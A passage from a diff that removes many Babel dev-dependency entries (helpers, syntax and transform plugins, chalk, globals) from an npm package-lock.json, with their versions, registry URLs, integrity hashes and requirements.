"7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.10.4.tgz", - "integrity": "sha512-EkN3YDB+SRDgiIUnNgcmiD361ti+AVbL3f3Henf6dqqUyr5dMsorno0lJWJuLhDhkI5sYEpgj6y9kB8AOU1I2A==", - "dev": true, - "requires": { - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-hoist-variables": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.10.4.tgz", - "integrity": "sha512-wljroF5PgCk2juF69kanHVs6vrLwIPNp6DLD+Lrl3hoQ3PpPPikaDRNFA+0t81NOoMt2DL6WW/mdU8k4k6ZzuA==", - "dev": true, - "requires": { - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-member-expression-to-functions": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.10.5.tgz", - "integrity": "sha512-HiqJpYD5+WopCXIAbQDG0zye5XYVvcO9w/DHp5GsaGkRUaamLj2bEtu6i8rnGGprAhHM3qidCMgp71HF4endhA==", - "dev": true, - "requires": { - "@babel/types": "^7.10.5" - } - }, - "@babel/helper-module-imports": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.10.4.tgz", - "integrity": "sha512-nEQJHqYavI217oD9+s5MUBzk6x1IlvoS9WTPfgG43CbMEeStE0v+r+TucWdx8KFGowPGvyOkDT9+7DHedIDnVw==", - "dev": true, - "requires": { - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-module-transforms": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.10.5.tgz", - "integrity": "sha512-4P+CWMJ6/j1W915ITJaUkadLObmCRRSC234uctJfn/vHrsLNxsR8dwlcXv9ZhJWzl77awf+mWXSZEKt5t0OnlA==", - "dev": true, - "requires": { - "@babel/helper-module-imports": "^7.10.4", - "@babel/helper-replace-supers": "^7.10.4", - "@babel/helper-simple-access": "^7.10.4", - "@babel/helper-split-export-declaration": "^7.10.4", - "@babel/template": "^7.10.4", - "@babel/types": "^7.10.5", - "lodash": "^4.17.19" - } - }, - "@babel/helper-optimise-call-expression": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.10.4.tgz", - "integrity": "sha512-n3UGKY4VXwXThEiKrgRAoVPBMqeoPgHVqiHZOanAJCG9nQUL2pLRQirUzl0ioKclHGpGqRgIOkgcIJaIWLpygg==", - "dev": true, - "requires": { - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-plugin-utils": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz", - "integrity": "sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg==", - "dev": true - }, - "@babel/helper-regex": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/helper-regex/-/helper-regex-7.10.5.tgz", - "integrity": "sha512-68kdUAzDrljqBrio7DYAEgCoJHxppJOERHOgOrDN7WjOzP0ZQ1LsSDRXcemzVZaLvjaJsJEESb6qt+znNuENDg==", - "dev": true, - "requires": { - "lodash": "^4.17.19" - } - }, - "@babel/helper-remap-async-to-generator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.10.4.tgz", - "integrity": "sha512-86Lsr6NNw3qTNl+TBcF1oRZMaVzJtbWTyTko+CQL/tvNvcGYEFKbLXDPxtW0HKk3McNOk4KzY55itGWCAGK5tg==", - "dev": true, - "requires": { - "@babel/helper-annotate-as-pure": "^7.10.4", - "@babel/helper-wrap-function": "^7.10.4", - "@babel/template": "^7.10.4", - "@babel/traverse": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-replace-supers": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.10.4.tgz", - "integrity": "sha512-sPxZfFXocEymYTdVK1UNmFPBN+Hv5mJkLPsYWwGBxZAxaWfFu+xqp7b6qWD0yjNuNL2VKc6L5M18tOXUP7NU0A==", - "dev": true, - "requires": { - "@babel/helper-member-expression-to-functions": "^7.10.4", - "@babel/helper-optimise-call-expression": "^7.10.4", - "@babel/traverse": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-simple-access": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.10.4.tgz", - "integrity": "sha512-0fMy72ej/VEvF8ULmX6yb5MtHG4uH4Dbd6I/aHDb/JVg0bbivwt9Wg+h3uMvX+QSFtwr5MeItvazbrc4jtRAXw==", - "dev": true, - "requires": { - "@babel/template": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-split-export-declaration": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.10.4.tgz", - "integrity": "sha512-pySBTeoUff56fL5CBU2hWm9TesA4r/rOkI9DyJLvvgz09MB9YtfIYe3iBriVaYNaPe+Alua0vBIOVOLs2buWhg==", - "dev": true, - "requires": { - "@babel/types": "^7.10.4" - } - }, - "@babel/helper-validator-identifier": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.10.4.tgz", - "integrity": "sha512-3U9y+43hz7ZM+rzG24Qe2mufW5KhvFg/NhnNph+i9mgCtdTCtMJuI1TMkrIUiK7Ix4PYlRF9I5dhqaLYA/ADXw==", - "dev": true - }, - "@babel/helper-wrap-function": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.10.4.tgz", - "integrity": "sha512-6py45WvEF0MhiLrdxtRjKjufwLL1/ob2qDJgg5JgNdojBAZSAKnAjkyOCNug6n+OBl4VW76XjvgSFTdaMcW0Ug==", - "dev": true, - "requires": { - "@babel/helper-function-name": "^7.10.4", - "@babel/template": "^7.10.4", - "@babel/traverse": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "@babel/highlight": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.10.4.tgz", - "integrity": "sha512-i6rgnR/YgPEQzZZnbTHHuZdlE8qyoBNalD6F+q4vAFlcMEcqmkoG+mPqJYJCo63qPf74+Y1UZsl3l6f7/RIkmA==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.10.4", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - }, - "color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dev": true, - "requires": { - "color-name": "1.1.3" - } - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "dev": true - }, - "supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "@babel/parser": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.10.5.tgz", - "integrity": "sha512-wfryxy4bE1UivvQKSQDU4/X6dr+i8bctjUjj8Zyt3DQy7NtPizJXT8M52nqpNKL+nq2PW8lxk4ZqLj0fD4B4hQ==", - "dev": true - }, - "@babel/plugin-proposal-async-generator-functions": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.10.5.tgz", - "integrity": "sha512-cNMCVezQbrRGvXJwm9fu/1sJj9bHdGAgKodZdLqOQIpfoH3raqmRPBM17+lh7CzhiKRRBrGtZL9WcjxSoGYUSg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-remap-async-to-generator": "^7.10.4", - "@babel/plugin-syntax-async-generators": "^7.8.0" - } - }, - "@babel/plugin-proposal-class-properties": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.10.4.tgz", - "integrity": "sha512-vhwkEROxzcHGNu2mzUC0OFFNXdZ4M23ib8aRRcJSsW8BZK9pQMD7QB7csl97NBbgGZO7ZyHUyKDnxzOaP4IrCg==", - "dev": true, - "requires": { - "@babel/helper-create-class-features-plugin": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-proposal-dynamic-import": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.10.4.tgz", - "integrity": "sha512-up6oID1LeidOOASNXgv/CFbgBqTuKJ0cJjz6An5tWD+NVBNlp3VNSBxv2ZdU7SYl3NxJC7agAQDApZusV6uFwQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-dynamic-import": "^7.8.0" - } - }, - "@babel/plugin-proposal-json-strings": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.10.4.tgz", - "integrity": "sha512-fCL7QF0Jo83uy1K0P2YXrfX11tj3lkpN7l4dMv9Y9VkowkhkQDwFHFd8IiwyK5MZjE8UpbgokkgtcReH88Abaw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-json-strings": "^7.8.0" - } - }, - "@babel/plugin-proposal-nullish-coalescing-operator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.10.4.tgz", - "integrity": "sha512-wq5n1M3ZUlHl9sqT2ok1T2/MTt6AXE0e1Lz4WzWBr95LsAZ5qDXe4KnFuauYyEyLiohvXFMdbsOTMyLZs91Zlw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0" - } - }, - "@babel/plugin-proposal-numeric-separator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.10.4.tgz", - "integrity": "sha512-73/G7QoRoeNkLZFxsoCCvlg4ezE4eM+57PnOqgaPOozd5myfj7p0muD1mRVJvbUWbOzD+q3No2bWbaKy+DJ8DA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-numeric-separator": "^7.10.4" - } - }, - "@babel/plugin-proposal-object-rest-spread": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.10.4.tgz", - "integrity": "sha512-6vh4SqRuLLarjgeOf4EaROJAHjvu9Gl+/346PbDH9yWbJyfnJ/ah3jmYKYtswEyCoWZiidvVHjHshd4WgjB9BA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-object-rest-spread": "^7.8.0", - "@babel/plugin-transform-parameters": "^7.10.4" - } - }, - "@babel/plugin-proposal-optional-catch-binding": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.10.4.tgz", - "integrity": "sha512-LflT6nPh+GK2MnFiKDyLiqSqVHkQnVf7hdoAvyTnnKj9xB3docGRsdPuxp6qqqW19ifK3xgc9U5/FwrSaCNX5g==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.0" - } - }, - "@babel/plugin-proposal-optional-chaining": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.10.4.tgz", - "integrity": "sha512-ZIhQIEeavTgouyMSdZRap4VPPHqJJ3NEs2cuHs5p0erH+iz6khB0qfgU8g7UuJkG88+fBMy23ZiU+nuHvekJeQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-optional-chaining": "^7.8.0" - } - }, - "@babel/plugin-proposal-private-methods": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.10.4.tgz", - "integrity": "sha512-wh5GJleuI8k3emgTg5KkJK6kHNsGEr0uBTDBuQUBJwckk9xs1ez79ioheEVVxMLyPscB0LfkbVHslQqIzWV6Bw==", - "dev": true, - "requires": { - "@babel/helper-create-class-features-plugin": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-proposal-unicode-property-regex": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.10.4.tgz", - "integrity": "sha512-H+3fOgPnEXFL9zGYtKQe4IDOPKYlZdF1kqFDQRRb8PK4B8af1vAGK04tF5iQAAsui+mHNBQSAtd2/ndEDe9wuA==", - "dev": true, - "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-syntax-async-generators": { - "version": "7.8.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", - "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-class-properties": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.10.4.tgz", - "integrity": "sha512-GCSBF7iUle6rNugfURwNmCGG3Z/2+opxAMLs1nND4bhEG5PuxTIggDBoeYYSujAlLtsupzOHYJQgPS3pivwXIA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-syntax-dynamic-import": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", - "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-json-strings": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", - "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-nullish-coalescing-operator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", - "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-numeric-separator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", - "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-syntax-object-rest-spread": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", - "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-optional-catch-binding": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", - "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-optional-chaining": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", - "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.8.0" - } - }, - "@babel/plugin-syntax-top-level-await": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.10.4.tgz", - "integrity": "sha512-ni1brg4lXEmWyafKr0ccFWkJG0CeMt4WV1oyeBW6EFObF4oOHclbkj5cARxAPQyAQ2UTuplJyK4nfkXIMMFvsQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-arrow-functions": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.10.4.tgz", - "integrity": "sha512-9J/oD1jV0ZCBcgnoFWFq1vJd4msoKb/TCpGNFyyLt0zABdcvgK3aYikZ8HjzB14c26bc7E3Q1yugpwGy2aTPNA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-async-to-generator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.10.4.tgz", - "integrity": "sha512-F6nREOan7J5UXTLsDsZG3DXmZSVofr2tGNwfdrVwkDWHfQckbQXnXSPfD7iO+c/2HGqycwyLST3DnZ16n+cBJQ==", - "dev": true, - "requires": { - "@babel/helper-module-imports": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-remap-async-to-generator": "^7.10.4" - } - }, - "@babel/plugin-transform-block-scoped-functions": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.10.4.tgz", - "integrity": "sha512-WzXDarQXYYfjaV1szJvN3AD7rZgZzC1JtjJZ8dMHUyiK8mxPRahynp14zzNjU3VkPqPsO38CzxiWO1c9ARZ8JA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-block-scoping": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.10.5.tgz", - "integrity": "sha512-6Ycw3hjpQti0qssQcA6AMSFDHeNJ++R6dIMnpRqUjFeBBTmTDPa8zgF90OVfTvAo11mXZTlVUViY1g8ffrURLg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-classes": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.10.4.tgz", - "integrity": "sha512-2oZ9qLjt161dn1ZE0Ms66xBncQH4In8Sqw1YWgBUZuGVJJS5c0OFZXL6dP2MRHrkU/eKhWg8CzFJhRQl50rQxA==", - "dev": true, - "requires": { - "@babel/helper-annotate-as-pure": "^7.10.4", - "@babel/helper-define-map": "^7.10.4", - "@babel/helper-function-name": "^7.10.4", - "@babel/helper-optimise-call-expression": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-replace-supers": "^7.10.4", - "@babel/helper-split-export-declaration": "^7.10.4", - "globals": "^11.1.0" - }, - "dependencies": { - "globals": { - "version": "11.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", - "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", - "dev": true - } - } - }, - "@babel/plugin-transform-computed-properties": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.10.4.tgz", - "integrity": "sha512-JFwVDXcP/hM/TbyzGq3l/XWGut7p46Z3QvqFMXTfk6/09m7xZHJUN9xHfsv7vqqD4YnfI5ueYdSJtXqqBLyjBw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-destructuring": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.10.4.tgz", - "integrity": "sha512-+WmfvyfsyF603iPa6825mq6Qrb7uLjTOsa3XOFzlYcYDHSS4QmpOWOL0NNBY5qMbvrcf3tq0Cw+v4lxswOBpgA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-dotall-regex": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.10.4.tgz", - "integrity": "sha512-ZEAVvUTCMlMFAbASYSVQoxIbHm2OkG2MseW6bV2JjIygOjdVv8tuxrCTzj1+Rynh7ODb8GivUy7dzEXzEhuPaA==", - "dev": true, - "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-duplicate-keys": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.10.4.tgz", - "integrity": "sha512-GL0/fJnmgMclHiBTTWXNlYjYsA7rDrtsazHG6mglaGSTh0KsrW04qml+Bbz9FL0LcJIRwBWL5ZqlNHKTkU3xAA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-exponentiation-operator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.10.4.tgz", - "integrity": "sha512-S5HgLVgkBcRdyQAHbKj+7KyuWx8C6t5oETmUuwz1pt3WTWJhsUV0WIIXuVvfXMxl/QQyHKlSCNNtaIamG8fysw==", - "dev": true, - "requires": { - "@babel/helper-builder-binary-assignment-operator-visitor": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-for-of": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.10.4.tgz", - "integrity": "sha512-ItdQfAzu9AlEqmusA/65TqJ79eRcgGmpPPFvBnGILXZH975G0LNjP1yjHvGgfuCxqrPPueXOPe+FsvxmxKiHHQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-function-name": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.10.4.tgz", - "integrity": "sha512-OcDCq2y5+E0dVD5MagT5X+yTRbcvFjDI2ZVAottGH6tzqjx/LKpgkUepu3hp/u4tZBzxxpNGwLsAvGBvQ2mJzg==", - "dev": true, - "requires": { - "@babel/helper-function-name": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-literals": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-literals/-/plugin-transform-literals-7.10.4.tgz", - "integrity": "sha512-Xd/dFSTEVuUWnyZiMu76/InZxLTYilOSr1UlHV+p115Z/Le2Fi1KXkJUYz0b42DfndostYlPub3m8ZTQlMaiqQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-member-expression-literals": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.10.4.tgz", - "integrity": "sha512-0bFOvPyAoTBhtcJLr9VcwZqKmSjFml1iVxvPL0ReomGU53CX53HsM4h2SzckNdkQcHox1bpAqzxBI1Y09LlBSw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-modules-amd": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.10.5.tgz", - "integrity": "sha512-elm5uruNio7CTLFItVC/rIzKLfQ17+fX7EVz5W0TMgIHFo1zY0Ozzx+lgwhL4plzl8OzVn6Qasx5DeEFyoNiRw==", - "dev": true, - "requires": { - "@babel/helper-module-transforms": "^7.10.5", - "@babel/helper-plugin-utils": "^7.10.4", - "babel-plugin-dynamic-import-node": "^2.3.3" - } - }, - "@babel/plugin-transform-modules-commonjs": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.10.4.tgz", - "integrity": "sha512-Xj7Uq5o80HDLlW64rVfDBhao6OX89HKUmb+9vWYaLXBZOma4gA6tw4Ni1O5qVDoZWUV0fxMYA0aYzOawz0l+1w==", - "dev": true, - "requires": { - "@babel/helper-module-transforms": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-simple-access": "^7.10.4", - "babel-plugin-dynamic-import-node": "^2.3.3" - } - }, - "@babel/plugin-transform-modules-systemjs": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.10.5.tgz", - "integrity": "sha512-f4RLO/OL14/FP1AEbcsWMzpbUz6tssRaeQg11RH1BP/XnPpRoVwgeYViMFacnkaw4k4wjRSjn3ip1Uw9TaXuMw==", - "dev": true, - "requires": { - "@babel/helper-hoist-variables": "^7.10.4", - "@babel/helper-module-transforms": "^7.10.5", - "@babel/helper-plugin-utils": "^7.10.4", - "babel-plugin-dynamic-import-node": "^2.3.3" - } - }, - "@babel/plugin-transform-modules-umd": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.10.4.tgz", - "integrity": "sha512-mohW5q3uAEt8T45YT7Qc5ws6mWgJAaL/8BfWD9Dodo1A3RKWli8wTS+WiQ/knF+tXlPirW/1/MqzzGfCExKECA==", - "dev": true, - "requires": { - "@babel/helper-module-transforms": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-named-capturing-groups-regex": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.10.4.tgz", - "integrity": 